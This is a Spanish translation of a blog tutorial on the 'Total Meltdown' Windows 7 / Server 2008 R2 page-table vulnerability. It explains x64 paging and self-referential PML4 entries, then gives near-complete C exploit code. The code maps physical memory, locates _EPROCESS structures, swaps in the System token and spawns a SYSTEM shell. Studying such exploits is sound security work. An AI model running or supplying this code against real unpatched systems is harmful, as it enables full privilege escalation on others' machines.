En marzo, una vulnerabilidad fue revelada por Ulf Frisk en Windows 7 y Server 2008 R2.
La vulnerabilidad es bastante impresionante, un parche lanzado por Microsoft para mitigar la vulnerabilidad de Meltdown inadvertidamente abrió un agujero en las versiones de Windows, permitiendo que cualquier proceso acceda y modifique las entradas de la tabla de páginas.
La descripción de la vulnerabilidad se puede encontrar en el blog de Ulf aquí , y vale la pena leerla.
Esta semana tuve algo de tiempo libre, así que decidí profundizar en la vulnerabilidad y ver cómo se manifestaba el problema. El objetivo era crear un exploit rápido que se pudiera usar para elevar los privilegios durante una evaluación. Terminé profundizando en la administración de memoria de Windows más que antes, por lo que esta publicación se creó para analizar cómo se puede crear un exploit para este tipo de vulnerabilidad.
Como siempre, este post es para personas que buscan aprender sobre técnicas de explotación en lugar de simplemente proporcionar un exploit listo para disparar. Dicho esto, comencemos con algunos fundamentos de paginación.
Fundamentos de paginación
Para comprender el funcionamiento de esta vulnerabilidad, primero necesitamos cubrir algunos de los fundamentos de cómo funciona la paginación en la arquitectura x86 / x64.
Como todos sabemos, una dirección virtual en un sistema operativo x64 por lo general se ve así:
0x7fffffd6001
Desconocido para algunos, sin embargo, la dirección virtual no es solo un puntero a una ubicación arbitraria en la RAM ... en realidad se compone de una serie de campos que tienen un propósito específico al traducir direcciones virtuales a direcciones físicas.
Comencemos por convertir la dirección de memoria virtual anterior en binaria:
0000000000000000 000001111 111111111 111111111 111010110 000000000001
Trabajando de izquierda a derecha, primero hacemos caso omiso de los primeros 16 bits, ya que estos bits en realidad no tienen sentido para nosotros (simplemente están configurados para reflejar el 48º bit de una dirección virtual).
Comenzando con un desplazamiento de 48 bits:
- Los primeros 9 bits de
000001111(15 en decimal) son un desplazamiento en una tabla PML4. - Los siguientes 9 bits de
111111111(511 en decimal) son un desplazamiento en una tabla PDPT. - Los siguientes 9 bits de
111111111(511 en decimal) son un desplazamiento en una tabla PD. - Los siguientes 9 bits de
111010110(470 en decimal) son un desplazamiento en una tabla PT. - Finalmente, los 12 bits de
000000000001(1 en decimal) son una compensación en una página de memoria.
Por supuesto, la siguiente pregunta es ... ¿qué son PML4, PDPT, PD y PT?
PML4, PDPT, PD y PT
En la arquitectura x64, la traducción de direcciones virtuales a direcciones físicas se realiza mediante un conjunto de tablas de paginación, apuntadas por el
CR3registro:- PML4 - Nivel de mapa de página 4
- PDPT - Tabla del puntero del directorio de la página
- PD - Directorio de páginas
- PT - Tabla de páginas
Cada tabla es responsable de proporcionar tanto una dirección física de dónde están almacenados nuestros datos, como indicadores asociados con esta ubicación de memoria.
Por ejemplo, una entrada en una tabla de páginas puede ser responsable de proporcionar un puntero a la siguiente tabla en la cadena de búsqueda, para configurar el bit NX en una página de memoria o para asegurar que la memoria del kernel no sea accesible para las aplicaciones que se ejecutan en el OS.
Simplificado, la búsqueda de dirección virtual anterior se vería así:

Aquí vemos que el proceso de atravesar estas tablas se completa con cada entrada que proporciona un puntero a la siguiente tabla, con la entrada final apuntando a una dirección física en la memoria donde se almacenan los datos.
Como se puede imaginar, almacenar y gestionar tablas de páginas para cada proceso en un sistema operativo puede llevar mucho esfuerzo. Un truco utilizado por los desarrolladores de sistemas operativos para facilitar este proceso es una técnica denominada "Tablas de páginas de autorreferencia".
Tablas de página de autorreferencia
En pocas palabras, las tablas de páginas autorreferenciales funcionan al utilizar un campo en la tabla PML4 que hace referencia a sí mismo. Por ejemplo, si creamos una nueva entrada en la tabla PML4 en un índice
0x100, y la entrada apunta a la dirección física de la tabla PML4, tenemos lo que se denomina una "Entrada autorreferencial".
Entonces, ¿por qué alguien haría esto? Bueno, esto en realidad nos da un conjunto de direcciones virtuales donde podemos referenciar y modificar cualquiera de las tablas de página en nuestro espacio de direcciones virtuales.
Por ejemplo, si queremos modificar la tabla PML4 para nuestro proceso, simplemente podemos hacer referencia a la dirección virtual
0x804020100000, que se traduce en:- Índice PML4 0x100 - Dirección física de PML4
- Índice PDPT 0x100 - De nuevo, dirección física de PML4
- PD index 0x100 - De nuevo ... dirección física de PML4
- Índice PT 0x100 - De nuevo ... dirección física de PML4
Que finalmente devuelve la memoria de ... PML4.
Espero que esto te dé una idea sobre el poder de esta naturaleza recursiva de las tablas de páginas de autorreferencia ... créanme, me tomó algunas noches mirando la pantalla para entender lo siguiente: D
Usando el siguiente código como un ejemplo más, podemos ver que una dirección virtual de
ffff804020100000nos permite recuperar la tabla PML4 para edición, donde el índice 0x100 de PML4 es una autorreferencia.package main
import (
"fmt"
)
func VAtoOffsets(va uint64) {
phy_offset := va & 0xFFF
pt_index := (va >> 12) & 0x1FF
pde_index := (va >> (12 + 9)) & 0x1FF
pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF
fmt.Printf("PML4 Index: %03x\n", pml4_index)
fmt.Printf("PDPT Index: %03x\n", pdpt_index)
fmt.Printf("PDE Index: %03x\n", pde_index)
fmt.Printf("PT Index: %03x\n", pt_index)
fmt.Printf("Page offset: %03x\n", phy_offset)
}
func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
var va uint64
va = pml4_index << (12 + 9 + 9 + 9)
va = va | pdpt_index << (12 + 9 + 9)
va = va | pde_index << (12 + 9)
va = va | pt_index << 12
va = va | phy_offset
if ((va & 0x800000000000) == 0x800000000000) {
va |= 0xFFFF000000000000
}
fmt.Printf("Virtual Address: %x\n", va)
}
func main() {
VAtoOffsets(0xffff804020100000)
OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}
Puede ejecutar este código en un navegador para ver los resultados: https://play.golang.org/p/tyQUoox47ri
Ahora, digamos que queremos modificar la entrada PDPT de una dirección virtual. Al usar la técnica de autorreferencia, esto se vuelve simple, simplemente reduciendo la cantidad de veces que recurrimos a través de la entrada autorreferencial.
Por ejemplo, dado un índice PML4 de
0x150, y nuestra entrada autorreferenciada en 0x100, podemos devolver la tabla PDPT correspondiente con la dirección 0xffff804020150000. De nuevo, nuestra aplicación de golang puede ayudar a ilustrar cómo es este el caso: https://play.golang.org/p/f02hYYFgmWo .El Bug
OK, entonces ahora que entendemos los fundamentos, podemos pasar a la vulnerabilidad.
Si aplicamos la actualización de seguridad 2018-02 a Windows 7 x64 o Server 2008 R2 x64, lo que encontramos es que la entrada de PML4
0x1edse ha actualizado.
En mi instancia de laboratorio vulnerable, la entrada de PML4
0x1edparece similar a esto:000000002d282867
Aquí tenemos una serie de indicadores, sin embargo, a lo que debemos prestarle atención es a la tercera parte de esta entrada en la tabla de páginas. El bit 3, si está configurado, permite el acceso a la página de memoria desde el modo de usuario, en lugar de restringir el acceso al kernel ...: O
Peor aún, la entrada PML4
0x1edse usa como Entrada autorreferencial en Windows 7 y Server 2008 R2 x64, lo que significa que a cualquier proceso en modo usuario se le concede acceso para ver y modificar la tabla de páginas de PML4.
Y como ahora sabemos, al modificar esta tabla de página de nivel superior, tenemos la capacidad de ver modificar toda la memoria física en el sistema ...
\_(ö)_/El exploit
Entonces, ¿cómo hacemos para explotar esto? Para aprovechar el error y lograr una escalada de privilegios, utilizaremos una serie de pasos para nuestro aprovechamiento:
- Cree un nuevo conjunto de tablas de página que le permita acceder a cualquier dirección de memoria física.
- Cree un conjunto de firmas que puedan usarse para buscar
_EPROCESSestructuras en la memoria del núcleo. - Encuentre la
_EPROCESSdirección de memoria para nuestro proceso de ejecución y para el proceso del sistema. - Reemplaza el token de nuestro proceso de ejecución con el de System, elevándonos a
NT AUTHORITY\System.
Antes de comenzar, debo mencionar que ninguna de estas publicaciones hubiera sido posible sin el código de PCILeech que se encuentra aquí . Al ser la primera vez que busqué paginación de SO en este nivel, el código de exploit utilizado
devicetmd.cme mantuvo despierto algunas noches tratando de entender cómo funcionaba, así que le di un gran kudo a Ulf Frisk por encontrar la vulnerabilidad ¡y PCILeech!
En lugar de simplemente volver a implementar la técnica de búsqueda de Ulf, usaremos el código PCILeech para configurar nuestra tabla de páginas. Para hacer las cosas un poco más fáciles de seguir, he actualizado algunos de los números mágicos y agregado comentarios para explicar lo que está sucediendo:
unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;
// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
vaPML4e = PML4_BASE + (iPML4 << 3);
if (*(unsigned long long *)vaPML4e) { continue; }
// When we find an entry, we add a pointer to the next table (PDPT), which will be
// stored at the physical address 0x10000
// The flags "067" allow user-mode access to the page.
*(unsigned long long *)vaPML4e = 0x10067;
break;
}
printf("[*] PML4 Entry Added At Index: %d\n", iPML4);
// Here, the PDPT table is references via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed | PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);
// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}
// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
if ((iPDPT % 3) == 0)
printf("\n[*] PD Virtual Addresses: ");
vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
printf("%p ", vaPD);
for (iPD = 0; iPD < 512; iPD++) {
// Below, notice the 0xe7 flags added to each entry.
// This is used to create a 2mb page rather than the standard 4096 byte page.
*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
}
}
printf("\n[*] Page tables created, we now have access to ~33gb of physical memory\n");
Ahora que tenemos configurada nuestra tabla de páginas, debemos buscar
_EPROCESSestructuras en la memoria física. Echemos un vistazo a cómo se _EPROCESSve nuestro objeto en la memoria del kernel:
Para crear una firma simple, podemos usar los campos
ImageFileNamey PriorityClass, que usaremos para escanear a través de la memoria hasta que recibamos un golpe. Esto pareció funcionar en mi laboratorio, sin embargo, si observa que obtiene resultados positivos falsos, puede ser tan detallado como desee.#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF // This is the offset from IMAGENAME, not from base
unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
printf("[*] Hunting for _EPROCESS structures in memory\n");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
__try {
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
}
}
// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
}
}
if (systemEPROCESS != 0 && ourEPROCESS != 0) {
...
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("[X] Exception occured, stopping to avoid BSOD\n");
}
}
Finalmente, como con la mayoría de los exploits de escalada de privilegios de kernel (ver mis tutoriales anteriores aquí , aquí y aquí ), necesitamos reemplazar nuestro
_EPROCESS.Tokencampo con el del Systemtoken de proceso:if (systemEPROCESS != 0 && ourEPROCESS != 0) {
// Swap the tokens by copying the pointer to System Token field over our process token
printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
printf("[*] Done, spawning SYSTEM shell...\n\n");
CreateProcessA(0,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&si,
&pi);
break;
}
Y como podemos ver en la demostración siguiente, ahora tenemos una buena manera de elevar los privilegios en Windows 7 x64:
Editar: Una nueva versión del código, que implementa algunas comprobaciones de memoria, ahora también se puede encontrar en Github aquí .
Fuente:blog.xpnsec.com
0 Comentarios